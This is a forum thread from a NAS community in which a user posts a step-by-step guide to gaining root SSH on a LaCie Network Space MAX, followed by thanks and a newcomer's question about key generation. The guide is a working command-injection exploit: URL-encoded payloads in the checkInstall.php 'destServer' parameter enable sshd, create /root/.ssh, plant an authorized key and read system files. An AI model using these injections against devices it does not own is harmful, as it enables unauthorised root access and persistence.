General NAS-Central Forums

Welcome to the NAS community
It is currently Thu Apr 27, 2017 5:14 am

All times are UTC




Post new topic Reply to topic  [ 5 posts ] 
Author Message
PostPosted: Tue May 24, 2011 6:31 pm 
Offline

Joined: Thu May 19, 2011 3:55 am
Posts: 33
I'm writing this guide in hopes of helping somone do this quick and easy.

1. Make sure your SpaceMax 4tb/2tb is on firmware 1.1.8, If not
Code:
http://www.lacie.com/download/drivers/Network%20Space%20MAX%20Update%20Capsule%201.1.8.zip

2. Enable ssh
Code:
http://your.SpaceMax.ip.address/browser/plugins/access.ssh/checkInstall.php?destServer=2%3E/dev/null||echo%20sshd%3E%3E/etc/initng/runlevel/default.runlevel

3. Generate a public/private keypair
Code:
ssh-keygen -b 1024 -t rsa -N YOUR_PASSWORD -f lacie_sm

4. Create a folder for the public key on the SpaceMax
Code:
http://your.SpaceMax.ip.address/browser/plugins/access.ssh/checkInstall.php?destServer=2%3E/dev/null||mkdir%20-p%20/root/.ssh%3Etest.txt&&echo%20%22--Host%22

5. Encode the key
Code:
open in your browser site http://www.string-functions.com/urlencode.aspx
Enter the contents of file lacie_sm.pub in the upper window, and then click "Encode!".
in the lower window appears encoded rsa pub key content that will be necessary in these queries

6. Install the public key
Code:
http://your.SpaceMax.ip.address/browser/plugins/access.ssh/checkInstall.php?destServer=2%3E/dev/null||echo%20<INSERT ENCODED RSA PUB KEY HERE>%3E/root/.ssh/authorized_keys&&echo%20%22--Host%22


6. Reboot the device

7. If everything went ok you should be able to connect via ssh with
Code:
ssh -i ./lacie_sm root@your.SpaceMax.ip.address


8. Other notes and possibilities.
You need to be root to access the ssh terminal on the device. (In windows use PuTTy or WinSCP)
If you think its not working do a check:
Code:
http://your.SpaceMax.ip.addressbrowser/plugins/access.ssh/checkInstall.php?destServer=2%3E/dev/null||cat%20/etc/initng/runlevel/default.runlevel%3Etest.txt&&echo%20%22--Host%22

See the results:
Code:
http://your.SpaceMax.ip.address/browser/plugins/access.ssh/test.txt

You should see sshd on the list, but if it has # in front you did something wrong.

Big thanks to : ak97, andreus, quicknick, & kalleguld


Top
 Profile  
 
PostPosted: Wed May 25, 2011 12:25 am 
Offline
User avatar

Joined: Fri Jul 04, 2008 8:41 pm
Posts: 120
Thanks - have made this sticky! A good one for the wiki perhaps too?


Top
 Profile  
 
PostPosted: Wed May 25, 2011 6:26 am 
Offline

Joined: Thu May 19, 2011 3:55 am
Posts: 33
Wow, thanx. But really I just compiled a bunch of scripts from the NetworkSpace2 forums that worked for my device. I figured people with this device would look here initially and like a clear guide :)


Top
 Profile  
 
PostPosted: Tue Aug 16, 2011 5:39 pm 
Offline

Joined: Tue Aug 16, 2011 5:20 pm
Posts: 1
Hello, I´m completely newbie. I bought a Network space max last week, and can´t show other than AVI files through DLNA. I have been reading here and there, and this forum is awesome. But I barely understand anything, anyway I am tryng. I did the steps until 3, where I am using instead PUTTYGEN, how does this modify the procedure? I don´t undertand where to type ssh-keygen -b 1024 -t rsa -N YOUR_PASSWORD -f lacie_smm, is this typed in PUTTY? In fact I executed the commands listed in the thread Getting Root for NS2 using a vulnerability web interface and worked ok until step 6 where is shown a table qith commands and I stop again in the key pair generation. Could you please tell me in more detail how to complete the procedure? After getting root access I will try to update twonky server.

Thanks a lot. Regards :(


Top
 Profile  
 
PostPosted: Wed Aug 24, 2011 6:55 pm 
Offline

Joined: Thu May 19, 2011 3:55 am
Posts: 33
jilp wrote:
Hello, I´m completely newbie. I bought a Network space max last week, and can´t show other than AVI files through DLNA. I have been reading here and there, and this forum is awesome. But I barely understand anything, anyway I am tryng. I did the steps until 3, where I am using instead PUTTYGEN, how does this modify the procedure? I don´t undertand where to type ssh-keygen -b 1024 -t rsa -N YOUR_PASSWORD -f lacie_smm, is this typed in PUTTY? In fact I executed the commands listed in the thread Getting Root for NS2 using a vulnerability web interface and worked ok until step 6 where is shown a table qith commands and I stop again in the key pair generation. Could you please tell me in more detail how to complete the procedure? After getting root access I will try to update twonky server.

Thanks a lot. Regards :(


You can either generate the pair on the Lacie itself through the terminal, Linux terminal, or windows command.


Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 5 posts ] 

All times are UTC


Who is online

Users browsing this forum: No registered users and 1 guest


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Jump to:  
Powered by phpBB® Forum Software © phpBB Group